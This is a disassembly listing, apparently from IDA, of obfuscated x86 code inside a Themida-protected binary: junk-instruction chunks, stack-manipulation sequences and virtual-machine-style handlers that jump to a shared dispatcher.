loc_55D428:				; CODE XREF: sub_55ABF6-3FE1j
		mov	[esp-0Ah+arg_4+2], ecx
		mov	ecx, 1
		and	eax, ecx
		jmp	loc_5587DB
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55D437:				; CODE XREF: Themida_:00554FABj
		mov	esi, 4
		add	ebx, esi
		pop	esi
		push	eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 7E475EE6h
		shl	ebx, 2
		jmp	loc_5543FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554E9D


loc_55D456:				; CODE XREF: sub_554E9D+4DFBj
		push	esp
		pop	edx
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		jmp	loc_557169
; END OF FUNCTION CHUNK	FOR sub_554E9D
; ---------------------------------------------------------------------------


loc_55D465:				; CODE XREF: Themida_:00557FD8j
		push	3654h
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	small word ptr [eax]
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_55D4A2:				; CODE XREF: Themida_:005595CCj
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55DDC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_55D4B9:				; CODE XREF: sub_55CE17-6BB1j
		mov	ebx, 69DC1C6Fh
		push	ebp
		jmp	loc_553D02
; ---------------------------------------------------------------------------


loc_55D4C4:				; CODE XREF: sub_55CE17-1BC7j
		add	eax, 78564E0Eh
		add	eax, 1B506D94h
		add	ecx, 57DD2B97h
		jmp	loc_5591DE
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------


loc_55D4D9:				; CODE XREF: Themida_:0055AEDCj
		pop	ecx
		jmp	loc_5559B6
; ---------------------------------------------------------------------------


loc_55D4DF:				; CODE XREF: Themida_:0055BADDj
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 7
		mov	bh, 0E7h
		sub	bh, 41h
		sub	bh, dh
		add	bh, 41h
		pop	edx
		sub	bh, 51h
		xor	al, bh
		pop	ebx
		jmp	loc_554835
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55D503:				; CODE XREF: sub_55ABF6-4C7Bj
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556EE1


loc_55D508:				; CODE XREF: sub_556EE1-DCCj
		sub	edx, 6AD02631h
		jmp	loc_55BE6A
; END OF FUNCTION CHUNK	FOR sub_556EE1
; ---------------------------------------------------------------------------


loc_55D513:				; CODE XREF: Themida_:0055281Aj
		inc	ebp
		and	ebp, 37D23C95h
		shr	ebp, 3
		push	0
		sub	[esp], ebp
		jmp	loc_55A55E
; ---------------------------------------------------------------------------


loc_55D52A:				; CODE XREF: Themida_:00557CACj
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559D1D


loc_55D52F:				; CODE XREF: sub_559D1D-2228j
		mov	ebx, 77F31CF0h
		or	ebx, 726D538Eh
		jmp	loc_5531AD
; END OF FUNCTION CHUNK	FOR sub_559D1D
; ---------------------------------------------------------------------------


loc_55D53F:				; CODE XREF: Themida_:00558E60j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	4DE1h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		jmp	loc_55CFD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55D56E:				; CODE XREF: sub_55ABF6-7Aj
		push	6657h
		mov	[esp+8+var_8], esp
		sub	esp, 4
		jmp	loc_5534F1
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C1DB


loc_55D57E:				; CODE XREF: sub_55C1DB+13j
		mov	edi, 3A33731Ch
		jmp	loc_55D6B0
; END OF FUNCTION CHUNK	FOR sub_55C1DB
; ---------------------------------------------------------------------------


loc_55D588:				; CODE XREF: Themida_:005593DCj
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_55B4AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55D59A:				; CODE XREF: sub_55ABF6-5745j
		push	18B71C80h
		pop	edi
		push	ecx
		mov	ecx, 37347D11h
		add	edi, ecx
		jmp	loc_5551E6
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_55D5AD:				; CODE XREF: sub_55314C+5F16j
		pop	edx
		jmp	loc_55ACD6
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_55D5B3:				; CODE XREF: sub_55CE17-9DE7j
		mov	esi, 4
		jmp	loc_55C510
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------


loc_55D5BD:				; CODE XREF: Themida_:0055556Ej
		mov	al, ch
		jmp	loc_55A31F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_55D5C4:				; CODE XREF: sub_552215+9A5j
		push	ecx
		push	eax
		push	7AD022F9h
		pop	eax
		sub	eax, 5F11BF20h
		mov	ecx, eax
		jmp	loc_551F3A
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_55D5D8:				; CODE XREF: sub_559249-142Aj
		not	ecx
		push	esi
		push	ecx
		pop	esi
		mov	ecx, [esp+18h+var_18]
		add	esp, 4
		xor	edi, esi
		xor	esi, edi
		xor	edi, esi
		xchg	eax, edi
		push	1951h
		mov	[esp+18h+var_18], ebp
		push	1
		jmp	loc_5586B6
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------


loc_55D5FF:				; CODE XREF: Themida_:00551D2Fj
		mov	esi, [esp]
		add	esp, 4
		pop	esi
		pop	edx
		push	edx
		jmp	loc_55CCD2
; ---------------------------------------------------------------------------


loc_55D610:				; CODE XREF: Themida_:00552BC0j
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_552B57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55163B


loc_55D61B:				; CODE XREF: sub_55163B+A8F7j
		mov	[esp+4+var_4], eax
		not	[esp+4+var_4]
		jmp	loc_556C07
; END OF FUNCTION CHUNK	FOR sub_55163B
; ---------------------------------------------------------------------------


loc_55D626:				; CODE XREF: Themida_:0055A6B7j
		add	al, 65h
		push	bx
		mov	bl, 89h
		add	al, bl
		pop	bx
		sub	al, 9Dh
		jmp	loc_553076

; =============== S U B	R O U T	I N E =======================================



sub_55D637	proc near		; DATA XREF: Themida_:005512D4o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp+0], cl
		pushf
		jmp	loc_5514E3
sub_55D637	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B1F8


loc_55D646:				; CODE XREF: sub_55B1F8-8A2Dj
		mov	esp, [esp+8+var_8]
		shr	[esp-4+arg_0], cl
		pushf
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_55B1F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_55D652:				; CODE XREF: sub_559249-5C49j
		sub	ecx, 37F94930h
		inc	ecx
		neg	ecx
		push	2A40h
		mov	[esp+10h+var_10], ebx
		push	edi
		jmp	loc_55AFE8
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CFFC


loc_55D669:				; CODE XREF: sub_55CFFC-88E5j
		mov	edi, [esp+8+var_8]
		jmp	loc_55D404
; END OF FUNCTION CHUNK	FOR sub_55CFFC
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp], eax
		pushf
		jmp	loc_55D898
; ---------------------------------------------------------------------------


loc_55D67F:				; CODE XREF: Themida_:00559150j
		mov	dh, cl
		pop	ecx
		add	al, dh
		mov	edx, [esp]
		add	esp, 4
		sub	al, 0CDh
		pop	ebx
		jmp	loc_55BED2
; ---------------------------------------------------------------------------


loc_55D692:				; CODE XREF: Themida_:0055CD86j
		add	ebx, eax
		mov	[ebx], ecx
		mov	ebx, [esp]
		jmp	loc_55C294
; ---------------------------------------------------------------------------


loc_55D69E:				; CODE XREF: Themida_:0055D2A8j
		sub	edx, 7DC4583Bh
		jmp	loc_55A3B0
; ---------------------------------------------------------------------------


loc_55D6A9:				; CODE XREF: Themida_:00559C60j
		mov	ebp, esp
		jmp	loc_5557A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C1DB


loc_55D6B0:				; CODE XREF: sub_55C1DB+13A8j
		mov	ebp, edi
		jmp	loc_55A80C
; END OF FUNCTION CHUNK	FOR sub_55C1DB
; ---------------------------------------------------------------------------


loc_55D6B7:				; CODE XREF: Themida_:00554094j
		push	ebp
		jmp	loc_55AF45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D0F3


loc_55D6BD:				; CODE XREF: sub_55D0F3-32BDj
		pop	eax
		push	edi
		mov	edi, 4
		sub	ecx, edi
		mov	edi, [esp+8+var_8]
		add	esp, 4
		xor	ecx, [esp+4+var_4]
		xor	[esp+4+var_4], ecx
		xor	ecx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	[esp+0], ecx
		jmp	loc_55C1F3
; END OF FUNCTION CHUNK	FOR sub_55D0F3
; ---------------------------------------------------------------------------


loc_55D6E3:				; CODE XREF: Themida_:00553F21j
		pop	ebp
		add	edx, 0C7666AFh
		sub	edx, 0FAD7820h
		jmp	loc_5593FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F97


loc_55D6F5:				; CODE XREF: sub_551F97-A2Bj
		shr	di, 8
		inc	di
		dec	di
		or	di, 177Bh
		push	si
		mov	si, 0D71Ch
		jmp	loc_55B96D
; END OF FUNCTION CHUNK	FOR sub_551F97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557093


loc_55D70D:				; CODE XREF: sub_557093-176Bj
		sub	edi, 4
		xchg	edi, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ebx
		jmp	loc_55422F
; END OF FUNCTION CHUNK	FOR sub_557093
; ---------------------------------------------------------------------------


loc_55D71F:				; CODE XREF: Themida_:0055DE75j
		pop	ebx
		pop	ecx
		add	ebp, ebx
		jmp	loc_55734F
; ---------------------------------------------------------------------------


loc_55D728:				; CODE XREF: Themida_:00554582j
		pop	edx
		add	edx, 4
		push	esi
		jmp	loc_5587E1
; ---------------------------------------------------------------------------


loc_55D735:				; CODE XREF: Themida_:0055753Cj
		mov	[esp], edi
		push	68B424C9h
		pop	edi
		xchg	esi, edi
		inc	esi
		xchg	esi, edi
		inc	edi
		sub	edi, 14AA0737h
		mov	edx, edi
		jmp	loc_55C9A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_55D751:				; CODE XREF: sub_55A4DA-44E3j
		xor	ebp, 0A769B6h
		add	ebp, 76DC2B80h
		sub	ebp, 4EC27FEFh
		xor	edx, ebp
		pop	ebp
		mov	ebp, edx
		pop	edx
		jmp	loc_55CC5A
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556D34


loc_55D76E:				; CODE XREF: sub_556D34-61Dj
		sub	[esp+10h+var_C], esi
		pop	esi
		pop	eax
		push	edx
		mov	edx, 269F7A29h
		push	eax
		mov	eax, 0
		sub	eax, edx
		mov	edx, eax
		pop	eax
		push	eax
		mov	eax, 535F2E59h
		shr	eax, 3
		inc	eax
		shr	eax, 2
		or	eax, 364D46D1h
		dec	eax
		add	eax, 27137B1Dh
		jmp	loc_553D32
; END OF FUNCTION CHUNK	FOR sub_556D34
; ---------------------------------------------------------------------------


loc_55D7A2:				; CODE XREF: Themida_:00558CBBj
		sub	edi, 8474F78h
		jmp	loc_558F17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554E9D


loc_55D7AD:				; CODE XREF: sub_554E9D+6B85j
		add	eax, edx
		pop	edx
		add	edx, eax
		pop	eax
		sub	edx, 4
		jmp	loc_551DBC
; END OF FUNCTION CHUNK	FOR sub_554E9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C87F


loc_55D7BB:				; CODE XREF: sub_55C87F-4E68j
		push	edx
		pop	ebx
		pop	edx
		xor	ebp, ebx
		mov	ebx, [esp+8+var_8]
		jmp	loc_55B904
; END OF FUNCTION CHUNK	FOR sub_55C87F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_55D7C8:				; CODE XREF: sub_55C814-5B57j
		add	eax, ebx
		pop	ebx
		jmp	loc_55DC9A
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------


loc_55D7D0:				; CODE XREF: Themida_:00558062j
		push	ecx
		mov	ecx, 0DE8B5CFDh
		add	esi, ecx
		pop	ecx
		sub	ebx, 5C3427F8h
		add	ebx, 2822B0Ch
		add	ebx, esi
		sub	ebx, 2822B0Ch
		add	ebx, 5C3427F8h
		pop	esi
		add	ecx, ebx
		pop	ebx
		push	ebp
		mov	ebp, 4F8B6425h
		push	ebp
		jmp	loc_55492E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C58B


loc_55D803:				; CODE XREF: sub_55C58B-2A38j
		pop	esp
		mov	[esp+0], ebx
		push	edi
		push	4ADA3F30h
		jmp	loc_557170
; END OF FUNCTION CHUNK	FOR sub_55C58B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55163B


loc_55D812:				; CODE XREF: sub_55163B+59C1j
		add	ecx, 0CA47B76Bh
		add	eax, ecx
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp+4+var_4]
		jmp	loc_558ADC
; END OF FUNCTION CHUNK	FOR sub_55163B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552BA6


loc_55D82D:				; CODE XREF: sub_552BA6+1018j
		pop	esp
		push	ebx
		push	eax
		mov	eax, 57401145h
		push	esi
		mov	esi, eax
		mov	ebx, esi
		pop	esi
		mov	eax, [esp+8+var_8]
		add	esp, 4
		sub	ebx, 5E317DF6h
		push	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], edx
		push	2F43004Ch
		mov	edx, [esp+0Ch+var_C]
		sub	esp, 4
		mov	[esp+10h+var_10], eax
		mov	eax, esp
		jmp	loc_559BFE
; END OF FUNCTION CHUNK	FOR sub_552BA6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551B36


loc_55D873:				; CODE XREF: sub_551B36+6709j
		mov	[esp+0], edx
		mov	edx, esp
		jmp	sub_55ABF6
; END OF FUNCTION CHUNK	FOR sub_551B36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552791


loc_55D87D:				; CODE XREF: sub_552791+58FFj
		pop	eax
		xor	bl, 34h
		push	eax
		jmp	loc_55385E
; END OF FUNCTION CHUNK	FOR sub_552791
; ---------------------------------------------------------------------------


loc_55D887:				; CODE XREF: Themida_:005519D1j
		pop	eax
		add	al, ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5544C0
; ---------------------------------------------------------------------------


loc_55D898:				; CODE XREF: Themida_:0055D67Aj
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55D89D:				; CODE XREF: sub_55ABF6+23Fj
		xor	[esp+0], edi
		xor	edi, [esp+0]
		pop	esp
		add	esp, 4
		jmp	loc_556544
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D40D


loc_55D8AF:				; CODE XREF: sub_55D40D-35F3j
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		mov	esp, [esp+0]
		mul	ecx
		push	esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp+4+var_4], ebp
		mov	ebp, 4
		add	esi, ebp
		mov	ebp, [esp+4+var_4]
		sub	esp, 4
		jmp	loc_5517ED
; END OF FUNCTION CHUNK	FOR sub_55D40D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553571


loc_55D8DB:				; CODE XREF: sub_553571+15j
		pop	esp
		push	esp
		jmp	loc_555906
; END OF FUNCTION CHUNK	FOR sub_553571
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55678F


loc_55D8E2:				; CODE XREF: sub_55678F+2239j
		push	ecx
		jmp	loc_55321D
; END OF FUNCTION CHUNK	FOR sub_55678F
; ---------------------------------------------------------------------------


loc_55D8E8:				; CODE XREF: Themida_:0055DBC8j
		mov	eax, 63A11DC8h
		add	eax, 0ECA0F1F6h
		or	eax, 77535E68h
		push	esi
		jmp	loc_55787A
; ---------------------------------------------------------------------------


loc_55D8FD:				; CODE XREF: Themida_:005545AFj
		add	edi, 576303E1h
		add	edi, 70F2C1B4h
		jmp	loc_55AB2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552716


loc_55D90E:				; CODE XREF: sub_552716+5632j
		add	eax, 4
		jmp	loc_5534B6
; END OF FUNCTION CHUNK	FOR sub_552716
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55D916:				; CODE XREF: sub_55ABF6+BBCj
		push	5C79h
		mov	[esp+0], edx
		jmp	loc_559631
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55D923:				; CODE XREF: Themida_:00552ADAj
		sub	ecx, 2C821755h
		push	eax
		mov	eax, 436C06C0h
		sub	eax, 0FFFFFFFFh
		sub	eax, 1
		xor	eax, 48A52B0Eh
		jmp	loc_55CFA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_55D943:				; CODE XREF: sub_55C814-816Ej
		push	56B22D40h
		pop	ecx
		jmp	loc_559301
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55D94E:				; CODE XREF: sub_55ABF6-1080j
		add	esp, 4
		add	ebx, edi
		mov	eax, [ebx]
		pop	ebx
		jmp	loc_552FAB
; ---------------------------------------------------------------------------


loc_55D95E:				; CODE XREF: sub_55ABF6-78E5j
		and	edx, 465407B7h
		jmp	loc_555750
; ---------------------------------------------------------------------------


loc_55D969:				; CODE XREF: sub_55ABF6-2D9Bj
		not	ebx
		xchg	ebx, esi
		shr	esi, 2
		sub	esp, 4
		mov	[esp+2+var_4+2], edi
		mov	edi, 3315F72Bh
		sub	esi, edi
		pop	edi
		add	eax, 0ED74FA0h
		add	eax, esi
		sub	eax, 0ED74FA0h
		push	dword ptr [esp+0]
		pop	esi
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp-6+arg_0+2]
		jmp	loc_5537F8
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
		mov	sp, [esp]
		jmp	loc_5514E3

; =============== S U B	R O U T	I N E =======================================



sub_55D9AA	proc near		; DATA XREF: Themida_:005512A8o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005553E2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00555811 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0055686C SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00557045 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00558961 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00559663 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00559905 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00559C22 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00559F05 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055A139 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055BE39 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055BEE6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055C0F5 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0055C2C5 SIZE 00000036 BYTES

		push	dword ptr [edi+3Ch]
		push	[esp+4+var_4]
		jmp	loc_55BE39
sub_55D9AA	endp

; ---------------------------------------------------------------------------


loc_55D9B5:				; CODE XREF: Themida_:0055C93Ej
		pop	ebp
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		not	ebp
		jmp	loc_55757A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551C53


loc_55D9D5:				; CODE XREF: sub_551C53+7A63j
		inc	ah
		xor	ah, 12h
		xor	bh, ah
		jmp	loc_55ACE1
; END OF FUNCTION CHUNK	FOR sub_551C53

; =============== S U B	R O U T	I N E =======================================



sub_55D9E1	proc near		; CODE XREF: sub_552E01+A5DBj

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00557F0E SIZE 0000001B BYTES

		push	ebx
		push	eax
		mov	eax, 49F31940h
		add	[esp+8+var_4], eax
		pop	eax
		mov	eax, [esp+4+var_4]
		push	edi
		jmp	loc_557F0E
sub_55D9E1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55D9F6:				; CODE XREF: sub_55ABF6+F2j
		sub	ebx, 147037E7h
		add	ebx, ecx
		add	ebx, 147037E7h
		jmp	loc_55B00C
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55DA09:				; CODE XREF: Themida_:0055C33Fj
		pop	edx
		jmp	loc_556B50

; =============== S U B	R O U T	I N E =======================================



sub_55DA0F	proc near		; DATA XREF: Themida_:0055120Co
		neg	byte ptr [esp+0]
		pushf
		jmp	loc_5514E3
sub_55DA0F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559E57


loc_55DA18:				; CODE XREF: sub_559E57-5D9Bj
		add	esp, 2
		pop	small [esp+2+var_2]
		jmp	loc_552C36
; END OF FUNCTION CHUNK	FOR sub_559E57
; ---------------------------------------------------------------------------


loc_55DA27:				; CODE XREF: Themida_:0055C28Fj
		push	ebp
		mov	ebp, 7BD84B5Ch
		jmp	loc_556447
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_55DA32:				; CODE XREF: sub_55AE3A+1j
		mov	bl, 3
		jmp	loc_552CDC
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------


loc_55DA39:				; CODE XREF: Themida_:00554272j
		mov	[esp], edx
		push	ecx
		jmp	loc_555BC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552118


loc_55DA42:				; CODE XREF: sub_552118+A06Aj
		sub	ebx, 15346659h
		sub	edi, ebx
		pop	ebx
		add	ebx, edi
		pop	edi
		jmp	loc_554F3B
; END OF FUNCTION CHUNK	FOR sub_552118
; ---------------------------------------------------------------------------


loc_55DA53:				; CODE XREF: Themida_:005582DBj
		pop	edi
		or	edi, 58E04EAAh
		jmp	loc_555E5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55DA5F:				; CODE XREF: sub_55ABF6-3194j
		pop	ebx
		push	373Fh
		mov	[esp-8+arg_4], esi
		push	175Ah
		mov	[esp-4+arg_0], edi
		push	ebx
		mov	ebx, 0A466BEh
		jmp	loc_559067
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CFFC


loc_55DA7B:				; CODE XREF: sub_55CFFC-1302j
		xor	edi, 528B4AAAh
		xor	edi, 9CECF9F7h
		sub	eax, 4A053415h
		add	eax, edi
		jmp	loc_55C15D
; END OF FUNCTION CHUNK	FOR sub_55CFFC
; ---------------------------------------------------------------------------


loc_55DA93:				; CODE XREF: Themida_:0055484Aj
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_557754
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_55DA9D:				; CODE XREF: sub_55C814-2052j
		push	[esp+4+var_4]
		jmp	loc_55DB71
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_55DAA5:				; CODE XREF: sub_559249+3631j
		push	esp
		pop	ecx
		add	ecx, 4
		sub	esp, 4
		mov	[esp+1Ch+var_1C], ebx
		jmp	loc_5555C5
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_55DABB:				; CODE XREF: sub_55AE3A-249j
		pop	edx
		mov	dh, 70h
		xor	dh, bh
		jmp	loc_558FD7
; END OF FUNCTION CHUNK	FOR sub_55AE3A

; =============== S U B	R O U T	I N E =======================================



sub_55DAC5	proc near		; DATA XREF: Themida_:0055129Co

var_2		= word ptr -2

; FUNCTION CHUNK AT 00552932 SIZE 0000000D BYTES

		mov	ax, fs:[edx]
		jmp	loc_552932
sub_55DAC5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55DACE:				; CODE XREF: sub_55ABF6-80DEj
		mov	ebx, [esp-4+arg_0]
		add	esp, 4
		push	eax
		mov	eax, 3E5E6AF4h
		sub	esp, 4
		mov	[esp+0], edx
		mov	edx, 7CA026F3h
		dec	edx
		push	0
		sub	[esp+4+var_4], edx
		jmp	loc_558E83
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55DAF6:				; CODE XREF: Themida_:0055C9B7j
		add	eax, edx
		pop	edx
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		jmp	loc_55AFE2
; ---------------------------------------------------------------------------


loc_55DB2E:				; CODE XREF: Themida_:00552FCDj
		mov	ecx, ebp
		pop	ebp
		shr	ecx, 8
		inc	ecx
		dec	ecx
		neg	ecx
		push	edi
		jmp	loc_55CE9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B28


loc_55DB3E:				; CODE XREF: sub_552B28+9AD2j
		add	cl, 22h
		or	cl, 0B4h
		push	ebx
		mov	bh, 53h
		xor	cl, bh
		pop	ebx
		add	bl, cl
		jmp	loc_5566DC
; END OF FUNCTION CHUNK	FOR sub_552B28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55DB51:				; CODE XREF: sub_55ABF6-530Cj
		add	esi, 0DC83B56h
		pop	ebp
		jmp	loc_55293F
; ---------------------------------------------------------------------------


loc_55DB5D:				; CODE XREF: sub_55ABF6-14FBj
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5554A0
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B7DE


loc_55DB6B:				; CODE XREF: sub_55B7DE-E04j
		pop	esi
		jmp	loc_552B34
; END OF FUNCTION CHUNK	FOR sub_55B7DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_55DB71:				; CODE XREF: sub_55C814+128Cj
		mov	esi, [esp+8+var_8]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 220D7679h
		shl	esi, 5
		add	esi, 0FFFFFFFFh
		inc	esi
		shl	esi, 8
		sub	esp, 4
		mov	[esp+10h+var_10], edi
		mov	edi, 7C4438FDh
		sub	edi, 24896F02h
		sub	edi, 15E069F4h
		add	edi, 0FFFFFFFFh
		add	edi, 6CF4BFF6h
		sub	esi, edi
		pop	edi
		add	ebp, esi
		pop	esi
		jmp	loc_55D167
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------


loc_55DBB8:				; CODE XREF: Themida_:0055C94Cj
		mov	esi, 200h
		or	[edi+1Ch], esi
		push	dword ptr [esp]
		pop	esi
		push	ebx
		mov	ebx, esp
		push	eax
		jmp	loc_55D8E8
; ---------------------------------------------------------------------------
